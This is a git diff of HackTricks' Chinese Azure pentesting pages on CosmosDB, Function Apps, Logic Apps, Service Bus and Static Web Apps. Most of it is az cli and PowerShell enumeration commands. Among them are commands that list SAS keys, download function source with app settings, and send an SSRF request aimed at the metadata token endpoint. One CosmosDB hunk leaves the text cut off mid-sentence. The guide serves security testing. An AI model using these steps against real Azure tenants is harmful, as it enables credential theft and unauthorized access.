黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 750e1ef72..2e3868435 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -9,24 +9,15 @@ 支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 {% endhint %} ## Azure CosmosDB -**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系型和向量数据库**,提供单毫秒级的响应时间、自动扩展和 SLA 支持的可用性,具备企业级安全性。它通过即开即用的多区域数据分发、开源 API、流行语言的 SDK 以及集成向量支持和无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。 - -Azure Cosmos DB 提供多种数据库 API,以使用文档、关系型、键值、图形和列族数据模型来建模现实世界的数据,这些 API 包括 NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin 和 Table。 - -CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,例如全球分布、一致性级别和要使用的特定 API,例如 NoSQL。通过该账户,您可以配置全球复制,以确保数据在多个区域可用,以实现低延迟访问。此外,您可以选择在性能和数据准确性之间取得平衡的一致性级别,选项范围从强一致性到最终一致性。 - -### NoSQL (sql) -Azure Cosmos DB NoSQL API 是一个基于文档的 API,使用 JSON 作为其数据格式。它提供类似 SQL 的查询语法来查询 JSON 对象,使其适合处理结构化和半结构化数据。该服务的端点是: - -{% code overflow="wrap" %} +**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系型和向量数据库**,提供单毫秒级的响应时间 ```bash https://.documents.azure.com:443/ ``` @@ -36,7 +27,7 @@ https://.documents.azure.com:443/ 在一个帐户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配的吞吐量,或为单个容器分配专用吞吐量。 #### 容器 -数据存储的核心单元是容器,它保存 JSON 文档并自动进行索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,"customerId" 作为分区键。 +数据存储的核心单元是容器,它保存 JSON 文档并自动进行索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,以“customerId”作为分区键。 #### 枚举 @@ -173,7 +164,7 @@ print(item) ``` {% endcode %} -另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录(az login)并执行它。对于这种情况,必须进行角色分配,以授予必要的权限(见更多信息) +另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多信息) {% code overflow="wrap" %} ```python @@ -215,7 +206,7 @@ mongodb://:/ 在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。 #### 集合 -MongoDB 中的数据存储核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。 +MongoDB 中数据存储的核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。 #### 枚举 @@ -247,7 +238,6 @@ az cosmosdb mongodb collection list --account-name --database-name az cosmosdb mongodb role definition list --account-name --resource-group # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group - ``` {% endcode %} {% endtab %} @@ -363,7 +353,7 @@ print(f"Inserted document with ID: {result.inserted_id}") 支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** 上关注我们。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 4266ca48f..e1a5a8b66 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -46,7 +46,7 @@ 可以在应用内部配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。 -这些环境变量或配置参数还控制函数如何执行代码,例如,如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,则会指示应用程序代码所在的 URL。 +这些环境变量或配置参数还控制函数如何执行代码,例如如果 **`WEBSITE_RUN_FROM_PACKAGE`** 存在,它将指示应用程序代码所在的 URL。 ### **Function 沙箱** @@ -61,11 +61,11 @@ **系统分配** 的身份将是一个托管身份,**只有分配了该身份的函数** 可以使用,而 **用户分配** 的托管身份是 **任何其他 Azure 服务都可以使用的托管身份**。 > [!NOTE] -> 与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此,如果您破坏了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。 +> 与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此如果您妥协了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。 > > 如果未使用系统托管身份,但一个或多个用户托管身份附加到函数,默认情况下您将无法获取任何令牌。 -可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取,如下所述: +可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取它们,如下所述: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} @@ -79,14 +79,14 @@ 在使用 **HTTP 触发器** 的函数内部创建端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项: - **ANONYMOUS**:**每个人**都可以通过 URL 访问该函数。 -- **FUNCTION**:端点仅对使用 **函数、主机或主密钥** 的用户可访问。 -- **ADMIN**:端点仅对使用 **主密钥** 的用户可访问。 +- **FUNCTION**:仅使用 **函数、主机或主密钥** 的用户可以访问端点。 +- **ADMIN**:仅使用 **主密钥** 的用户可以访问端点。 **密钥类型:** - **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 Function App 中 **特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。 - **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 Function App 中 **所有函数端点的访问,具有 FUNCTION 访问级别**。 -- **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。 +- **主密钥**:主密钥 (`_master`) 作为管理密钥,提供提升的权限,包括访问所有函数端点(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。 - **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。 > [!TIP] @@ -96,7 +96,7 @@ ### 基本身份验证 -与应用服务一样,Functions 也支持基本身份验证,以通过 **用户名和密码在 URL 中** 连接到 **SCM** 和 **FTP** 以部署代码。有关更多信息,请参见: +与应用服务一样,Functions 也支持基本身份验证,以通过 Azure 提供的 **用户名和密码的 URL** 连接到 **SCM** 和 **FTP** 部署代码。有关更多信息,请参见: {{#ref}} az-app-services.md @@ -104,7 +104,7 @@ az-app-services.md ### 基于 Github 的部署 -当函数从 Github 仓库生成时,Azure Web 控制台允许 **在特定仓库中自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 如下所示: +当函数从 Github 仓库生成时,Azure Web 控制台允许在特定仓库中 **自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 看起来是这样的:
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ```
-此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联合凭证来完成的,允许**发行者** `https://token.actions.githubusercontent.com` 和**主题标识符** `repo:/:ref:refs/heads/`。 +此外,**托管身份**也会被创建,以便来自存储库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者**`https://token.actions.githubusercontent.com`和**主题标识符**`repo:/:ref:refs/heads/`。 > [!CAUTION] -> 因此,任何妥协该仓库的人都将能够妥协该函数及其附加的托管身份。 +> 因此,任何妥协该存储库的人都将能够妥协该功能及其附加的托管身份。 ### 基于容器的部署 -并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`** 设置将类似于: `DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。 +并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`**设置将类似于:`DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。 -此外,**不会在与该函数相关的存储**帐户中存储源代码,因为这不是必需的。 +此外,**不会在与该功能相关的存储**帐户中存储源代码,因为不需要。 ## 枚举 + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List all the functions az functionapp list @@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.Functions + +# Lists all Function Apps in the current subscription or in a specific resource group. +Get-AzFunctionApp -ResourceGroupName + +# Displays the regions where Azure Function Apps are available for deployment. +Get-AzFunctionAppAvailableLocation + +# Retrieves details about Azure Function App plans in a subscription or resource group. +Get-AzFunctionAppPlan -ResourceGroupName -Name + +# Retrieves the app settings for a specific Azure Function App. +Get-AzFunctionAppSetting -Name -ResourceGroupName +``` +{% endcode %} +{% endtab %} +{% endtabs %} + ## 权限提升 {{#ref}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index dd29b6ba3..f488e7443 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,7 +4,7 @@ ## 基本信息 -Azure Logic Apps 是微软 Azure 提供的云服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务,并在不同平台之间执行数据集成。 +Azure Logic Apps 是微软 Azure 提供的云服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务并在不同平台之间执行数据集成。 Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。 @@ -25,39 +25,265 @@ Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建 即使您发现 **Logic App 对 SSRF 漏洞**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。 -例如,像这样的请求不会返回令牌: +例如,类似这样的请求将不会返回令牌: ```bash # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v ``` +### 托管选项 + +有几种托管选项: + +* **消费** +- **多租户**:提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。 +* **标准** +- **工作流服务计划**:专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。 +- **应用服务环境 V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中应用服务实例的定价模型。这非常适合需要高隔离的企业级应用程序。 +- **混合** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展(KEDA)。 + ### 枚举 -{{#tabs }} -{{#tab name="az cli" }} +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List -az logic workflow list --resource-group --subscription --output table +az logic workflow list --resource-group # Get info -az logic workflow show --name --resource-group --subscription -# Get Logic App config -az logic workflow definition show --name --resource-group --subscription -# Get service ppal used -az logic workflow identity show --name --resource-group --subscription -``` -{{#endtab }} +az logic workflow show --name --resource-group -{{#tab name="Az PowerSHell" }} +# Get details of a specific Logic App workflow, including its connections and parameters +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \ +--headers "Content-Type=application/json" + +# Get details about triggers for a specific Logic App +az rest --method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01" + +# Get the callback URL for a specific trigger in a Logic App +az rest --method POST \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01" + +# Get the history of a specific trigger in a Logic App +az rest --method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01" + +# List all runs of a specific Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# Get all actions within a specific run of a Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# List all versions of a specific Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +# Get details of a specific version of a Logic App workflow +az rest \ +--method GET \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \ +--headers "Content-Type=application/json" + +az rest \ +--method GET \ +--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \ +--headers "Content-Type=application/json" + +# List all Logic Apps in the specified resource group +az logicapp list --resource-group + +# Show detailed information about a specific Logic App +az logicapp show --name --resource-group + +# List all application settings for a specific Logic App +az logicapp config appsettings list --name --resource-group +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} ```bash +Get-Command -Module Az.LogicApp + # List Get-AzLogicApp -ResourceGroupName # Get info Get-AzLogicApp -ResourceGroupName -Name -# Get Logic App config -(Get-AzLogicApp -ResourceGroupName -Name ).Definition | ConvertTo-Json -# Get service ppal used -(Get-AzLogicApp -ResourceGroupName -Name ).Identity -``` -{{#endtab }} -{{#endtabs }} -{{#include ../../../banners/hacktricks-training.md}} +# Get details of a specific Logic App workflow run action +Get-AzLogicAppRunAction -ResourceGroupName "" -Name "" -RunName "" + +# Get the run history for a specific Logic App +Get-AzLogicAppRunHistory -ResourceGroupName "" -Name "" + +# Get details about triggers for a specific Logic App +Get-AzLogicAppTrigger -ResourceGroupName "" -Name "" + +# Get the callback URL for a specific trigger in a Logic App +Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName "" -TriggerName "" + +# Get the history of a specific trigger in a Logic App +Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" + +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + + +### 集成账户 +**集成账户**是 Azure Logic Apps 的一个功能。集成账户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成账户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件: + +* 架构:管理 XML 架构以验证和处理集成账户中的消息。 +* 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。 +* 程序集:管理集成账户程序集,以简化逻辑和数据处理。 +* 证书:处理用于加密和签名消息的证书,确保安全通信。 +* 伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。 +* 协议:配置与交易伙伴交换数据的规则和设置(例如,EDI、AS2)。 +* 批处理配置:管理批处理配置,以高效地分组和处理消息。 +* RosettaNet PIP:配置 RosettaNet 伙伴接口流程(PIPs),以标准化 B2B 通信。 + +#### 枚举 + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# Integration account +az logic integration-account list --resource-group +az logic integration-account show --resource-group --name +az logic integration-account list-callback-url --resource-group --integration-account-name + +# Batch-configuration +az logic integration-account batch-configuration list \ +--resource-group \ +--integration-account-name + +az logic integration-account batch-configuration show \ +--resource-group \ +--integration-account-name \ +--batch-configuration-name + +# Map +az logic integration-account map list \ +--resource-group \ +--integration-account + +az logic integration-account map show \ +--resource-group \ +--integration-account \ +--map-name + +# Partner +az logic integration-account partner list \ +--resource-group \ +--integration-account + +az logic integration-account partner show \ +--resource-group \ +--integration-account \ +--name + +# Session +az logic integration-account session list \ +--resource-group \ +--integration-account + +az logic integration-account session show \ +--resource-group \ +--integration-account \ +--name + +# Assembly +# Session +az logic integration-account assembly list \ +--resource-group \ +--integration-account + +az logic integration-account assembly show \ +--resource-group \ +--integration-account \ +--assembly-artifact-name + + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.LogicApp + +# Retrieve details of an integration account +Get-AzIntegrationAccount -ResourceGroupName -Name + +# Retrieve the callback URL of an integration account +Get-AzIntegrationAccountCallbackUrl -ResourceGroupName -IntegrationAccountName + +# Retrieve details of a specific agreement in an integration account +Get-AzIntegrationAccountAgreement -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific assembly in an integration account +Get-AzIntegrationAccountAssembly -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific batch configuration in an integration account +Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific certificate in an integration account +Get-AzIntegrationAccountCertificate -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific map in an integration account +Get-AzIntegrationAccountMap -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific partner in an integration account +Get-AzIntegrationAccountPartner -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific schema in an integration account +Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + +## 权限提升 + +与逻辑应用权限提升相同: + +{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} +[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) +{% endcontent-ref %} + +## 后期利用 + +{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} +[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) +{% endcontent-ref %} + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 5c3cc6549..d21e1bf03 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -8,9 +8,9 @@ Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用 ### Key Concepts -1. **Queues:** 其目的是存储消息,直到接收者准备好。 +1. **Queues:** 其目的是在接收者准备好之前存储消息。 - 消息是有序的、带时间戳的,并且持久存储。 -- 以拉取模式(按需检索)交付。 +- 以拉取模式交付(按需检索)。 - 支持点对点通信。 2. **Topics:** 发布-订阅消息,用于广播。 - 多个独立订阅接收消息的副本。 @@ -41,15 +41,19 @@ SAS 策略定义了 Azure Service Bus 实体命名空间(最重要的一个) - Manage: 授予对实体的完全控制,包括配置和权限管理。 - Send: 允许向实体发送消息。 - Listen: 允许从实体接收消息。 -- **Primary and Secondary Keys**: 这些是用于生成安全令牌以进行访问身份验证的加密密钥。 +- **Primary and Secondary Keys**: 这些是用于生成安全令牌以验证访问的加密密钥。 - **Primary and Secondary Connection Strings**: 预配置的连接字符串,包括端点和密钥,便于在应用程序中使用。 -- **SAS Policy ARM ID**: Azure 资源管理器(ARM)路径,用于程序识别该策略。 +- **SAS Policy ARM ID**: Azure 资源管理器(ARM)路径,用于程序识别策略。 ### NameSpace sku, authrorization rule, ### Enumeration + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.ServiceBus + +# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations. +Get-AzServiceBusNamespaceV2 -ResourceGroupName -Name + +# Retrieves the authorization rules for a Service Bus namespace, queue, or topic. +Get-AzServiceBusAuthorizationRule -ResourceGroupName -NamespaceName + +# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled. +Get-AzServiceBusGeoDRConfiguration -ResourceGroupName -NamespaceName + +# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace. +Get-AzServiceBusKey -ResourceGroupName -NamespaceName -Name + +# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress. +Get-AzServiceBusMigration -ResourceGroupName -NamespaceName + +# Retrieves properties and details about a Service Bus namespace. +Get-AzServiceBusNamespace -ResourceGroupName -Name + +# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules. +Get-AzServiceBusNetworkRuleSet -ResourceGroupName -NamespaceName + +# Retrieves private endpoint connections for a Service Bus namespace. +Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName -NamespaceName + +# Retrieves private link resources associated with a Service Bus namespace. +Get-AzServiceBusPrivateLink -ResourceGroupName -NamespaceName + +# Retrieves details of a specified queue in a Service Bus namespace. +Get-AzServiceBusQueue -ResourceGroupName -NamespaceName -Name + +# Retrieves rules (filters and actions) for a subscription under a Service Bus topic. +Get-AzServiceBusRule -ResourceGroupName -NamespaceName -TopicName -SubscriptionName + +# Retrieves details of subscriptions for a specified Service Bus topic. +Get-AzServiceBusSubscription -ResourceGroupName -NamespaceName -TopicName + +# Retrieves details of a specified topic in a Service Bus namespace. +Get-AzServiceBusTopic -ResourceGroupName -NamespaceName +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + ### 权限提升 {{#ref}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md index 7518a2b9a..bd73d1ef0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -11,8 +11,8 @@ Azure Static Web Apps 是一个云服务,用于托管 **来自 GitHub 等代 > [!TIP] > 创建静态应用时,您可以选择 **部署授权策略**,包括 **部署令牌** 和 **GitHub Actions 工作流**。 -- **部署令牌**:生成一个令牌并用于验证部署过程。任何拥有 **此令牌的人都足以部署应用的新版本**。每次更新代码库时,**Github Action 会自动在代码库中部署**,并将令牌存储在一个秘密中以部署应用的新版本。 -- **GitHub Actions 工作流**:在这种情况下,代码库中也会部署一个非常相似的 Github Action,**令牌也存储在一个秘密中**。然而,这个 Github Action 有一个不同之处,它使用 **`actions/github-script@v6`** 动作来获取代码库的 IDToken 并用它来部署应用。 +- **部署令牌**:生成一个令牌,用于验证部署过程。任何拥有 **此令牌的人都足以部署应用的新版本**。每当代码库更新时,**Github Action 会自动在代码库中部署**,并将令牌作为秘密存储,以部署应用的新版本。 +- **GitHub Actions 工作流**:在这种情况下,代码库中也会部署一个非常相似的 Github Action,**令牌也存储在秘密中**。然而,这个 Github Action 有一个不同之处,它使用 **`actions/github-script@v6`** 动作来获取代码库的 IDToken,并用它来部署应用。 - 即使在这两种情况下,动作 **`Azure/static-web-apps-deploy@v1`** 都是使用 `azure_static_web_apps_api_token` 参数中的令牌,但在第二种情况下,格式有效的随机令牌,如 `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`,就足以部署应用,因为授权是通过 `github_id_token` 参数中的 IDToken 完成的。 ### Web 应用基本身份验证 @@ -23,7 +23,7 @@ Azure Static Web Apps 是一个云服务,用于托管 **来自 GitHub 等代
